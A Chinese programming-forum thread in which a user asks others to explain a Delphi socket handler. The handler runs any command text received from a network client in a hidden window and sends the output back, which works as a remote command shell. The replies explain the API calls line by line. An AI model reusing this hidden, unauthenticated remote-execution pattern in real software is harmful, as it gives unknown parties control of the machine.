帮忙解释下红色的代码什么意思
procedure TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
RemoteCmd:string;
hReadPipe,hWritePipe:THandle;
si:STARTUPINFO;
lsa:SECURITY_ATTRIBUTES;
pi:PROCESS_INFORMATION;
cchReadBuffer:DWORD;
ph:PChar;
fname:PChar;
res:string;
begin
Memo1.Clear;
remotecmd:=Socket.ReceiveText;
fname:=allocmem(255);
ph:=AllocMem(5000);
lsa.nLength :=sizeof(SECURITY_ATTRIBUTES);
lsa.lpSecurityDescriptor :=nil;
lsa.bInheritHandle :=True;
if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then
begin
socket.SendText('不能创建管道');
exit;
end;
fillchar(si,sizeof(STARTUPINFO),0);
si.cb:=sizeof(STARTUPINFO);
si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);
si.wShowWindow:=SW_HIDE;
si.hStdOutput:=hWritePipe;
StrPCopy(fname,remotecmd);
/////执行CMD命令////
if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then
begin
socket.SendText('不能创建进程');
FreeMem(ph);
FreeMem(fname);
Exit;
end;
while(true) do
begin
if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break;
if cchReadBuffer<>0 then
begin
if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break;
ph[cchReadbuffer]:=chr(0);
Memo1.Lines.Add(ph);
end
else
if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break;
Sleep(100);
end;
ph[cchReadBuffer]:=chr(0);
Memo1.Lines.Add(ph); //memo接收回显
CloseHandle(hReadPipe);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hWritePipe);
FreeMem(ph);
FreeMem(fname);
socket.SendText(Memo1.Text); ///将回显发送回客户端
end;
end.
帮忙解释下红色的代码 搞了很久还是不明白
[解决办法]
创建结构,分配内存,给结构付值,调用API把结构地址传入,进行相应判断,基本就是这样
[解决办法]
//给结构体的一个属性赋值,这个值就是 SECURITY_ATTRIBUTES结构体的所在内存大小。SizeOf取长度 lsa.nLength :=sizeof(SECURITY_ATTRIBUTES);
//这个应该是个路径之类的东西,因为不重要所以可以赋空值
lsa.lpSecurityDescriptor :=nil;
//这个也是给结构体里面的属性赋值
lsa.bInheritHandle :=True;
//CreatePipe应该是一个API函数,创建管道?应该是通讯方面的吧
if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then
begin
socket.SendText('不能创建管道');
exit;
end;
//以下这一段实际上创建一个进程。
//初始化si的内存,并且都赋值为0,si也是一个结构体
fillchar(si,sizeof(STARTUPINFO),0);
//给结构体内的一些属性赋值
si.cb:=sizeof(STARTUPINFO);
si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);
si.wShowWindow:=SW_HIDE; //窗体不显示
si.hStdOutput:=hWritePipe; //
//将remotecmd拷贝到fname中
StrPCopy(fname,remotecmd);
/////执行CMD命令////
if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then
begin
socket.SendText('不能创建进程');
//这两句是释放内存
FreeMem(ph);
FreeMem(fname);
Exit;
end;
[解决办法]
学习下~~~
[解决办法]
CreatePipe创建管道,然后对si(SECURITY_ATTRIBUTES)赋值, CreateProcess创建一个进程,管道通信